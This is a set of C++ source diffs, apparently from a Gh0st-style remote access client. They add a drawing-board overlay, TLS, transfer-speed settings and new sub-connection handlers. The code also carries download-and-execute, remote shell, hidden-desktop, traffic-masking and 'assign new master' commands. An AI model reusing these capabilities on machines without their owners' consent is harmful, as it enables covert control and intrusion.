const TCHAR CLASS_NAME[] = _T("DrawingBoardClass");
static bool s_classRegistered = false;
if (!s_classRegistered) {
WNDCLASSEX wc = {};
wc.cbSize = sizeof(WNDCLASSEX);
wc.lpfnWndProc = DrawingBoardMgr::WndProc;
wc.hInstance = GetModuleHandle(NULL);
wc.lpszClassName = CLASS_NAME;
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wc.hIcon = NULL; // 标题栏图标
wc.hIconSm = NULL; // 小图标(Alt+Tab 和任务栏缩略图)
if (!RegisterClassEx(&wc)) {
Mprintf("RegisterClassEx failed: %d\n", GetLastError());
}
s_classRegistered = true;
}
DWORD dwStyle = WS_POPUP | WS_BORDER;
m_hWnd = CreateWindowEx(
WS_EX_TOOLWINDOW | WS_EX_LAYERED, CLASS_NAME, _T(""),
dwStyle, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600,
NULL, NULL, GetModuleHandle(NULL), this
);
if (m_hWnd == NULL) return;
LONG style = GetWindowLong(m_hWnd, GWL_STYLE);
style |= WS_BORDER; // 增加窄边框
style &= ~(WS_CAPTION | WS_THICKFRAME); // 去掉标题栏和可调整边框
SetWindowLong(m_hWnd, GWL_STYLE, style);
// 去掉系统菜单
SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
BringWindowToTop(m_hWnd);
// 透明度
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
ShowWindow(m_hWnd, SW_SHOW);
UpdateWindow(m_hWnd);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) && m_bIsWorking) {
TranslateMessage(&msg);
DispatchMessage(&msg);
Sleep(1);
}
if (m_hWnd)
PostMessage(m_hWnd, WM_CLOSE, 0, 0);
m_hWnd = NULL; // 线程退出后,窗口已销毁
}
LRESULT CALLBACK DrawingBoardMgr::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
DrawingBoardMgr* pThis = nullptr;
if (msg == WM_NCCREATE) {
CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
pThis = (DrawingBoardMgr*)cs->lpCreateParams;
SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)pThis);
}
else {
pThis = (DrawingBoardMgr*)GetWindowLongPtr(hWnd, GWLP_USERDATA);
}
if (pThis) {
switch (msg) {
case WM_GETICON:
return NULL;
case WM_WINDOWPOSCHANGED:
{
WINDOWPOS* pwp = (WINDOWPOS*)lParam;
if (pThis->m_bTopMost && !(pwp->flags & SWP_NOZORDER)) {
// 如果窗口层级被改变,重新设置为顶层
SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
}
break;
}
case WM_PAINT:
{
PAINTSTRUCT ps;
HDC hdc = BeginPaint(hWnd, &ps);
HPEN hOldPen = (HPEN)SelectObject(hdc, pThis->m_DrawPen);
HFONT hOldFont = (HFONT)SelectObject(hdc, pThis->m_Font);
pThis->m_locker.lock();
auto paths = pThis->m_Paths;
auto currentPath = pThis->m_CurrentPath;
auto texts = pThis->m_Texts;
pThis->m_locker.unlock();
// 画所有历史路径
for (const auto& path : paths)
{
if (path.size() >= 2)
Polyline(hdc, path.data(), (int)path.size());
}
// 画当前路径
if (currentPath.size() >= 2)
{
Polyline(hdc, currentPath.data(), (int)currentPath.size());
}
// 绘制文字
SetTextColor(hdc, pThis->m_textColor); // 设置文本颜色
SetBkMode(hdc, TRANSPARENT); // 设置透明背景
for (const auto& entry : texts)
TextOutA(hdc, entry.first.x, entry.first.y, entry.second.c_str(), entry.second.length());
SelectObject(hdc, hOldPen);
SelectObject(hdc, hOldFont);
EndPaint(hWnd, &ps);
return 0;
}
case WM_DESTROY:
PostQuitMessage(0);
return 0;
case MSG_CLEAR:
pThis->m_locker.lock();
pThis->m_Paths.clear();
pThis->m_CurrentPath.clear();
pThis->m_Texts.clear();
pThis->m_locker.unlock();
InvalidateRect(hWnd, NULL, TRUE);
break;
}
}
return DefWindowProc(hWnd, msg, wParam, lParam);
}
VOID DrawingBoardMgr::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
if (ulLength < 1) return;
BYTE cmd = szBuffer[0];
switch (cmd)
{
case CMD_DRAW_POINT:
if (ulLength == sizeof(POINT) + 1)
{
POINT pt = *(POINT*)(szBuffer + 1);
m_locker.lock();
m_CurrentPath.push_back(pt);
m_locker.unlock();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
break;
case CMD_DRAW_END:
m_locker.lock();
if (!m_CurrentPath.empty())
{
m_Paths.push_back(m_CurrentPath);
m_CurrentPath.clear();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
m_locker.unlock();
break;
case CMD_TRANSPORT:
m_fAlpha = ulLength > 1 ? szBuffer[1] : m_fAlpha;
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
break;
case CMD_TOPMOST:
m_bTopMost = ulLength > 1 ? szBuffer[1] : TRUE;
SetWindowPos(m_hWnd, m_bTopMost ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
break;
case CMD_MOVEWINDOW:
if (ulLength == sizeof(RECT) + 1)
{
RECT rect = *(RECT*)(szBuffer + 1);
if (m_hWnd && IsWindow(m_hWnd))
{
::SetWindowPos(m_hWnd, HWND_TOP, rect.left, rect.top,
rect.right-rect.left, rect.bottom-rect.top,
SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
}
}
break;
case CMD_SET_SIZE: {
if (ulLength == sizeof(int) * 2 + 1) {
int x[2];
memcpy(x, szBuffer + 1, sizeof(int) * 2);
if (IsWindow(m_hWnd)) {
::SetWindowPos(m_hWnd, NULL, 0, 0,
x[0], x[1], SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE);
}
}
break;
}
case CMD_DRAW_CLEAR: {
PostMessage(m_hWnd, MSG_CLEAR, 0, 0);;
break;
}
case CMD_DRAW_TEXT: {
ParseRemoteText(szBuffer + 1, ulLength - 1);
break;
}
default:
break;
}
}
void DrawingBoardMgr::ParseRemoteText(PBYTE data, ULONG length)
{
if (length < sizeof(POINT)) return;
// 提取位置
POINT pt = *(POINT*)data;
PBYTE textData = data + sizeof(POINT);
int textLen = (int)(length - sizeof(POINT));
// UTF-8 → WCHAR
int wideLen = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, NULL, 0);
if (wideLen <= 0) return;
std::wstring wstr(wideLen, 0);
MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, &wstr[0], wideLen);
#ifdef _UNICODE
CString cstr(wstr.c_str());
#else
// 若项目使用多字节字符集
int ansiLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
std::string cstr;
if (ansiLen > 0)
{
std::string ansi(ansiLen - 1, 0);
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], ansiLen - 1, NULL, NULL);
cstr = ansi.c_str();
}
#endif
// 存入本地图形对象并刷新绘图区域
m_locker.lock();
m_Texts.push_back(std::make_pair(pt, cstr));
m_locker.unlock();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
} // namespace SimplePluginsDrawingBoard
+36
View File
@@ -0,0 +1,36 @@
#pragma once
#include "Manager.h"
#include <vector>
#include <string>
#include "common/locker.h"
namespace SimplePluginsDrawingBoard {
class DrawingBoardMgr : public CManager
{
public:
DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user = nullptr);
~DrawingBoardMgr();
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void ParseRemoteText(PBYTE data, ULONG length);
private:
BYTE m_fAlpha; // 透明度: 0-全透明, 255-不透明
BOOL m_bTopMost; // 顶层
BOOL m_bIsWorking; // 线程状态
HWND m_hWnd; // 窗口
std::vector<std::vector<POINT>> m_Paths; // 历史路径集合,每条路径是一组点
std::vector<POINT> m_CurrentPath; // 当前正在绘制的路径点集合
std::vector<std::pair<POINT, std::string>> m_Texts;
HFONT m_Font;
COLORREF m_textColor;
HPEN m_DrawPen;
CLocker m_locker;
static DWORD WINAPI DrawingThreadProc(LPVOID lpParam);
void RunWindowThread();
static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
};
} // namespace SimplePluginsDrawingBoard
+6 -2
View File
@@ -36,9 +36,13 @@ CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(p
// 初始化V2文件传输模块 // 初始化V2文件传输模块
CKernelManager* main = (CKernelManager*)pClient->GetMain(); CKernelManager* main = (CKernelManager*)pClient->GetMain();
m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature; m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
if (!m_Signature.empty()) if (!m_Signature.empty()) {
iniFile cfg(CLIENT_PATH);
int chunkKb, durMs;
GetTransferSpeed(cfg, chunkKb, durMs);
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg, InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
main ? main->m_LoginSignature : pClient->m_LoginSignature, 64, 50, Logf); main ? main->m_LoginSignature : pClient->m_LoginSignature, chunkKb, durMs, Logf);
}
// 发送驱动器列表, 开始进行文件管理,建立新线程 // 发送驱动器列表, 开始进行文件管理,建立新线程
SendDriveList(); SendDriveList();
+35 -1
View File
@@ -227,7 +227,11 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
m_DataProcess = NULL; m_DataProcess = NULL;
m_ReconnectFunc = NULL; m_ReconnectFunc = NULL;
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask(); m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
#ifdef _DEBUG
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % (HeaderEncV6 + 1)));
#else
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum)); auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
#endif
m_EncoderType = encoder; m_EncoderType = encoder;
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder(); m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
#ifdef _WIN32 #ifdef _WIN32
@@ -463,6 +467,25 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
SetKeepAliveOptions(m_sClientSocket); SetKeepAliveOptions(m_sClientSocket);
#endif #endif
} }
#ifdef _WIN32
// 单向 TLS:证书存在(TlsEnabled())时,在应用协议首包前完成握手;握手失败即断开,
// 不回退明文(fail-closed,防降级)。证书存在但加载失败(TlsLoadError())同样拒绝
// 连接。握手须在 m_bConnected 置位前,确保工作线程不会在握手尚未完成时就开始 recv。
if (TlsLoadError()) {
Mprintf("[TLS] 证书加载失败,拒绝连接(fail-closed)\n");
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
return FALSE;
}
if (TlsEnabled()) {
if (!m_tls.Handshake(m_sClientSocket)) {
Mprintf("[TLS] 握手失败,断开连接(fail-closed)\n");
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
return FALSE;
}
}
#endif
m_bConnected = TRUE; m_bConnected = TRUE;
Mprintf("连接服务端成功: %s:%d.\n", m_sCurIP.c_str(), (int)port); Mprintf("连接服务端成功: %s:%d.\n", m_sCurIP.c_str(), (int)port);
@@ -526,6 +549,16 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
Sleep(50); Sleep(50);
continue; continue;
} }
#ifdef _WIN32
// TLS 会话里可能有已解密、尚未交付的明文(select 只看底层 socket,看不到
// Schannel 内部缓冲),优先消费,避免被 select 卡住。
if (This->HasPendingData()) {
if (!This->ProcessRecvData(&m_CompressedBuffer, szBuffer, MAX_RECV_BUFFER - 1, 0)) {
break;
}
continue;
}
#endif
FD_ZERO(&fd); FD_ZERO(&fd);
FD_SET(This->m_sClientSocket, &fd); FD_SET(This->m_sClientSocket, &fd);
// Linux select() 会修改 timeval,必须每次重置 // Linux select() 会修改 timeval,必须每次重置
@@ -632,7 +665,8 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
for (int i = 0; i < 16 && i < (int)bufLen; ++i) { for (int i = 0; i < 16 && i < (int)bufLen; ++i) {
char tmp[12]; sprintf(tmp, "%02X ", (unsigned char)src[i]); buf += tmp; char tmp[12]; sprintf(tmp, "%02X ", (unsigned char)src[i]); buf += tmp;
} }
Mprintf("[ERROR] Unknown header! bufLen=%lu, first 16 bytes: %s\n", bufLen, buf.c_str()); Mprintf("[ERROR] Unknown header! this=%p bufLen=%lu, first 16 bytes: %s (TlsEnabled=%d tlsReady=%d)\n",
this, bufLen, buf.c_str(), (int)TlsEnabled(), (int)m_tls.IsReady());
m_CompressedBuffer->ClearBuffer(); m_CompressedBuffer->ClearBuffer();
break; break;
} }
+24 -1
View File
@@ -8,6 +8,7 @@
#include "stdafx.h" #include "stdafx.h"
#include <WinSock2.h> #include <WinSock2.h>
#include <MSTcpIP.h> #include <MSTcpIP.h>
#include "TlsChannel.h"
#pragma comment(lib,"ws2_32.lib") #pragma comment(lib,"ws2_32.lib")
#endif #endif
@@ -289,14 +290,33 @@ public:
protected: protected:
virtual int ReceiveData(char* buffer, int bufSize, int flags) virtual int ReceiveData(char* buffer, int bufSize, int flags)
{ {
#ifdef _WIN32
if (TlsEnabled())
return m_tls.Recv(m_sClientSocket, buffer, bufSize - 1);
#endif
// TCP版本调用 recv // TCP版本调用 recv
return recv(m_sClientSocket, buffer, bufSize - 1, 0); int n = recv(m_sClientSocket, buffer, bufSize - 1, 0);
return n;
} }
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag); virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
virtual int SendTo(const char* buf, int len, int flags) virtual int SendTo(const char* buf, int len, int flags)
{ {
#ifdef _WIN32
if (TlsEnabled())
return m_tls.Send(m_sClientSocket, buf, len);
#endif
return ::send(m_sClientSocket, buf, len, flags); return ::send(m_sClientSocket, buf, len, flags);
} }
// TLS 会话里可能有已解密但尚未交付的明文(select 只能看到底层 socket 可读性,
// 看不到 Schannel 内部缓冲),接收线程在 select 前须优先消费,避免其被卡住。
bool HasPendingData() const
{
#ifdef _WIN32
return m_tls.HasPending();
#else
return false;
#endif
}
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask); BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask);
static DWORD WINAPI WorkThreadProc(LPVOID lParam); static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength); VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
@@ -305,6 +325,9 @@ protected:
protected: protected:
sockaddr_in m_ServerAddr; sockaddr_in m_ServerAddr;
SOCKET m_sClientSocket; SOCKET m_sClientSocket;
#ifdef _WIN32
TlsChannel m_tls; // TLS 会话(证书存在时才启用,见 TlsChannel.h)
#endif
BOOL m_bWorkThread; BOOL m_bWorkThread;
HANDLE m_hWorkThread; HANDLE m_hWorkThread;
BOOL m_bIsRunning; BOOL m_bIsRunning;
+159 -3
View File
@@ -839,6 +839,27 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case COMMAND_TLS_ENABLE: {
// 服务端下发信任锚证书:payload = PEM 正文(szBuffer+1 .. ulLength-1)。
// 写入注册表 settings\tls_cert,客户端下次启动读到证书即启用 TLS(非实时)。
if (ulLength > 1) {
std::string certPem((char*)szBuffer + 1, ulLength - 1);
m_cfg->SetStr("settings", "tls_cert", certPem);
}
break;
}
case COMMAND_TLS_DISABLE: {
// 删除注册表信任锚,客户端下次启动无证书即回明文(非实时)。
std::string subKey = GetRegistryName() + "\\settings";
HKEY hKey = NULL;
if (RegOpenKeyExA(GetCurrentUserRegistryKey(), subKey.c_str(), 0,
KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
RegDeleteValueA(hKey, "tls_cert");
RegCloseKey(hKey);
}
break;
}
case COMMAND_DOWN_EXEC: { case COMMAND_DOWN_EXEC: {
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach(); std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
break; break;
@@ -1019,6 +1040,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHARE: case COMMAND_SHARE:
case COMMAND_ASSIGN_MASTER: case COMMAND_ASSIGN_MASTER:
if (ulLength > 2) { if (ulLength > 2) {
// 解析末尾协议段(Shine=0 / HELL=1,旧命令无此段则 -1 沿用烘焙值)
int shareProto = -1;
{
auto pv = StringToVector((char*)szBuffer + 2, ':', 5);
if (szBuffer[1] == SHARE_TYPE_YAMA && pv.size() >= 3 && (pv[2] == "0" || pv[2] == "1"))
shareProto = atoi(pv[2].c_str());
else if (szBuffer[1] == SHARE_TYPE_YAMA_FOREVER && pv.size() >= 4 && (pv[3] == "0" || pv[3] == "1"))
shareProto = atoi(pv[3].c_str());
}
switch (szBuffer[1]) { switch (szBuffer[1]) {
case SHARE_TYPE_YAMA_FOREVER: { case SHARE_TYPE_YAMA_FOREVER: {
auto v = StringToVector((char*)szBuffer + 2, ':', 3); auto v = StringToVector((char*)szBuffer + 2, ':', 3);
@@ -1029,6 +1059,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (now <= valid_to) break; // Avoid assign again if (now <= valid_to) break; // Avoid assign again
m_cfg->SetStr("settings", "master", v[0]); m_cfg->SetStr("settings", "master", v[0]);
m_cfg->SetStr("settings", "port", v[1]); m_cfg->SetStr("settings", "port", v[1]);
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
m_cfg->SetStr("settings", "master_proto", std::to_string(shareProto));
float days = atof(v[2].c_str()); float days = atof(v[2].c_str());
if (days > 0) { if (days > 0) {
auto valid_to = time(0) + days*86400; auto valid_to = time(0) + days*86400;
@@ -1047,6 +1079,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (v[0].empty() || v[1].empty()) if (v[0].empty() || v[1].empty())
break; break;
auto share = v[0] + ":" + v[1]; auto share = v[0] + ":" + v[1];
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
share += ":" + std::to_string(shareProto);
auto list = m_cfg->GetStr("settings", "share_list"); auto list = m_cfg->GetStr("settings", "share_list");
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|'); auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
if (VectorContains(shareList, share)) break; if (VectorContains(shareList, share)) break;
@@ -1054,7 +1088,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|')); m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
Mprintf("Share client to new master: %s\n", share.c_str()); Mprintf("Share client to new master: %s\n", share.c_str());
} }
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE); auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE, shareProto);
if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0)); if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
break; break;
} }
@@ -1100,6 +1134,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
mgr->EnableOfflineRecord(TRUE); mgr->EnableOfflineRecord(TRUE);
} }
Logger::getInstance().usingLog(m_settings.EnableLog); Logger::getInstance().usingLog(m_settings.EnableLog);
// 主控端经 MasterSettings 下发文件传输速度(TransferChunkKb 非 0 表示已下发,
// 0 表示老主控未携带,保留本地默认值)。写入 [transfer] 节,供各 InitFileUpload
// 调用点经 GetTransferSpeed 读取。
if (m_settings.TransferChunkKb) {
m_cfg->SetInt("transfer", "ChunkKb", m_settings.TransferChunkKb);
m_cfg->SetInt("transfer", "DurationMs", m_settings.TransferDurationMs);
}
} }
if (IsAuthKernel() && if (IsAuthKernel() &&
(m_settings.FeedbackUrl[0] || m_settings.HelpUrl[0] || m_settings.RequestAuthUrl[0] || m_settings.GetPluginUrl[0])) { (m_settings.FeedbackUrl[0] || m_settings.HelpUrl[0] || m_settings.RequestAuthUrl[0] || m_settings.GetPluginUrl[0])) {
@@ -1140,6 +1181,60 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case COMMAND_CHAT: { // 远程交谈(双向聊天)
if (!ENABLE_MESSAGE) {
return ResponseDisable(m_ClientObject, "CHAT", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount].user = m_hInstance;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopChatManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_MACHINE_MANAGE: { // 主机管理
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopMachineManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_FILE_MANAGER_PLUGIN: { // 插件文件管理(SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManagerPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_PRIVATE_SCREEN_PLUGIN: { // 隐私屏幕(虚拟桌面,SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopPrivateScreenPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_DRAWING_BOARD_PLUGIN: { // 远程画板(SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopDrawingBoardPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SHELL: { case COMMAND_SHELL: {
if (!ENABLE_SHELL) { if (!ENABLE_SHELL) {
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1); return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
@@ -1264,6 +1359,18 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case CMD_FILE_SPEED: {
// 主控端下发文件传输速度档位:[cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]。
// 写入 [transfer] 节,供各 InitFileUpload 调用点经 GetTransferSpeed 读取。
if (ulLength >= 5) {
int chunkKb = szBuffer[1] | (szBuffer[2] << 8);
int durMs = szBuffer[3] | (szBuffer[4] << 8);
m_cfg->SetInt("transfer", "ChunkKb", chunkKb);
m_cfg->SetInt("transfer", "DurationMs", durMs);
}
break;
}
case COMMAND_LIST_DRIVE : { case COMMAND_LIST_DRIVE : {
if (!ENABLE_FILE_MNG) { if (!ENABLE_FILE_MNG) {
return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1); return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
@@ -1331,6 +1438,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case COMMAND_CONNECTION: {
if (!ENABLE_CONNECTION_MNG) {
return ResponseDisable(m_ClientObject, "CONNECTION", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopConnectionManager, &m_hThread[m_ulThreadCount], 0, NULL);
break;
}
case COMMAND_UPDATE: { case COMMAND_UPDATE: {
auto typ = m_conn->ClientType(); auto typ = m_conn->ClientType();
if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) { if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) {
@@ -1383,11 +1503,47 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
// static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit。 // static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit。
static bool s_v2RecvInited = false; static bool s_v2RecvInited = false;
if (!s_v2RecvInited) { if (!s_v2RecvInited) {
InitFileUpload({}, m_LoginMsg, m_LoginSignature, 64, 50, Logf); int chunkKb, durMs;
GetTransferSpeed(*m_cfg, chunkKb, durMs);
InitFileUpload({}, m_LoginMsg, m_LoginSignature, chunkKb, durMs, Logf);
s_v2RecvInited = true; s_v2RecvInited = true;
} }
// C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度) // C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度)
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn, // 展开文件名中的环境变量(如 %USERPROFILE%),与 V1 的 COMMAND_FILE_SIZE 保持一致。
// 快捷图标定位远程目录时,主控端下发的 targetDir 仍含未展开的 %USERPROFILE%
// (server/2015Remote/FileManagerDlg.cpp OnRemoteDesktop/Downloads/Home),
// 若不在接收端展开,RecvFileChunkV2 会按字面量建目录(如 CWD\%%USERPROFILE%%\...)。
char* recvBuf = (char*)szBuffer;
size_t recvLen = ulLength;
std::vector<uint8_t> rebuilt;
if (ulLength >= sizeof(FileChunkPacketV2) && szBuffer[0] == COMMAND_SEND_FILE_V2) {
const FileChunkPacketV2* pkt = (const FileChunkPacketV2*)szBuffer;
if (ulLength >= sizeof(FileChunkPacketV2) + pkt->nameLength + pkt->dataLength) {
// 文件名未必以 '\0' 结尾,先构造出以 '\0' 结尾的副本
std::string name((const char*)szBuffer + sizeof(FileChunkPacketV2), (size_t)pkt->nameLength);
char expanded[MAX_PATH * 2] = { 0 };
DWORD n = ExpandEnvironmentStringsA(name.c_str(), expanded, (DWORD)sizeof(expanded));
if (n > 0 && n < (DWORD)sizeof(expanded)) {
std::string newName(expanded, n - 1); // n 含末尾 '\0'
if (newName.size() != pkt->nameLength) {
// 展开后长度变化,重建包:[header][展开后的 name][data]
size_t newLen = sizeof(FileChunkPacketV2) + newName.size() + pkt->dataLength;
rebuilt.resize(newLen);
memcpy(rebuilt.data(), szBuffer, sizeof(FileChunkPacketV2));
FileChunkPacketV2* newPkt = (FileChunkPacketV2*)rebuilt.data();
newPkt->nameLength = newName.size();
memcpy(rebuilt.data() + sizeof(FileChunkPacketV2), newName.data(), newName.size());
memcpy(rebuilt.data() + sizeof(FileChunkPacketV2) + newName.size(),
(const char*)szBuffer + sizeof(FileChunkPacketV2) + pkt->nameLength,
(size_t)pkt->dataLength);
recvBuf = (char*)rebuilt.data();
recvLen = newLen;
}
}
}
}
int n = RecvFileChunkV2(recvBuf, recvLen, m_conn,
nullptr, m_hash, m_hmac, m_MyClientID); nullptr, m_hash, m_hmac, m_MyClientID);
if (n) { if (n) {
Mprintf("[C2C] RecvFileChunkV2 failed: %d\n", n); Mprintf("[C2C] RecvFileChunkV2 failed: %d\n", n);
+27 -10
View File
@@ -378,13 +378,29 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
std::string pubIP = cfg.GetStr("settings", "public_ip", ""); std::string pubIP = cfg.GetStr("settings", "public_ip", "");
auto ip_time = cfg.GetInt("settings", "ip_time"); auto ip_time = cfg.GetInt("settings", "ip_time");
bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400); bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400);
// 升级后强制重新查询一次:旧版缓存的 location 是 GBK/CP1252,或已把 ö/ä/ß 等替换成 '?';
// 新版 GetGeoLocation 改为 UTF-8 上报(见 common/location.h),需重新拉取才能修正。
// 版本号即编译日期 __DATE__(见 common/commands.h 的 DLL_VERSION):编译期宏,内存 DLL
// 也能取到,且每次编译都会变,天然标识“升级”,无需手动递增,也不依赖 exe 版本资源。
bool cacheVerChanged = (cfg.GetStr("settings", "loc_cache_ver", "") != __DATE__);
IPConverter cvt; IPConverter cvt;
